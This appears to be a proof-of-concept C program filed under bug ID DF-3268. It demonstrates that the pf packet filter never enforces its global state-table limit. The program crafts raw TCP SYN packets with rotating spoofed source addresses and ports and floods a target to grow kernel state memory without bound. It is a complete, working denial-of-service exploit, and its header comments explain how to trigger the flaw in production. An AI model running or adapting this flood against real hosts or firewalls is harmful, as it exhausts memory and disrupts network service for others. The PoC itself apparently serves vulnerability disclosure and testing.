DF-3268 / grow_states.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 | /* * DF-3268 PoC — unbounded pf state-table growth: PFSTATE_HIWAT (10000, * pf_pool_limits[PF_LIMIT_STATES], tunable via `pfctl -e -s limit` / * DIOCSETLIMIT) is NEVER checked on the state creation path. * pf_create_state() (pf.c:4112-4117) checks only the per-rule max_states; * pf_state_insert()/pf_state_key_attach() contain no global limit check * (grep: pf_pool_limits is referenced only in pf_ioctl.c plumbing). * * Each distinct (src ip, sport) tuple to a `synproxy state` (or any * keep-state) target creates one pf_state (+2 keys +2 items, ~450 B). * Unprivileged trigger in production: any host behind/on a state-creating * pf ruleset (pfctl adds `keep state` to plain `pass` rules by default) * simply opens connections / sends SYNs. Here raw sockets emulate the * same packets (root on the test guest == unpriv remote peer in prod). * * Watch: pfctl -si "current entries" grow past 10000 and vmstat -m * pfstatepl in-use memory grow with it. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static unsigned short cksum(unsigned short *p, int n) { unsigned long s = 0; while (n > 1) { s += *p++; n -= 2; } if (n) s += *(unsigned char *)p; s = (s >> 16) + (s & 0xffff); s += (s >> 16); return (unsigned short)(~s); } static void send_syn(int s, in_addr_t src, in_port_t sport, in_addr_t dst, in_port_t dport) { char buf[sizeof(struct ip) + sizeof(struct tcphdr)]; struct ip *ip = (struct ip *)buf; struct tcphdr *th = (struct tcphdr *)(buf + sizeof(struct ip)); struct sockaddr_in sin; struct { in_addr_t s, d; uint8_t z, p; uint16_t l; } ph; char pbuf[sizeof(ph) + sizeof(struct tcphdr)]; memset(buf, 0, sizeof(buf)); ip->ip_v = IPVERSION; ip->ip_hl = sizeof(*ip) >> 2; ip->ip_len = htons(sizeof(buf)); ip->ip_ttl = 64; ip->ip_p = IPPROTO_TCP; ip->ip_src.s_addr = src; ip->ip_dst.s_addr = dst; th->th_sport = sport; th->th_dport = dport; th->th_seq = htonl(0x41414141); th->th_off = sizeof(*th) >> 2; th->th_flags = TH_SYN; th->th_win = htons(8192); ph.s = src; ph.d = dst; ph.z = 0; ph.p = IPPROTO_TCP; ph.l = htons(sizeof(struct tcphdr)); memcpy(pbuf, &ph, sizeof(ph)); memcpy(pbuf + sizeof(ph), th, sizeof(*th)); th->th_sum = cksum((unsigned short *)pbuf, sizeof(pbuf)); ip->ip_sum = cksum((unsigned short *)buf, sizeof(buf)); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = dst; sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&sin, sizeof(sin)); } int main(int argc, char **argv) { int s, i, iter = 0, secs = argc > 1 ? atoi(argv[1]) : 60; in_addr_t dst = inet_addr("127.0.0.2"); in_addr_t srcbase = inet_addr("10.0.2.201"); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket"); exit(1); } { int one = 1; setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); } while (iter < secs * 40) { /* ~40 batches/s */ in_addr_t src = srcbase + ((iter >> 3) & 0xff); /* /24 hop */ for (i = 0; i < 512; i++) send_syn(s, src, htons(20000 + i), dst, htons(8080)); if ((iter % 20) == 0) { printf("iter %d: sent %d SYNs (tuple set %d)\n", iter, (iter + 1) * 512, iter >> 3); fflush(stdout); } iter++; usleep(25000); } printf("done: %d distinct SYNs\n", iter * 512); return (0); } |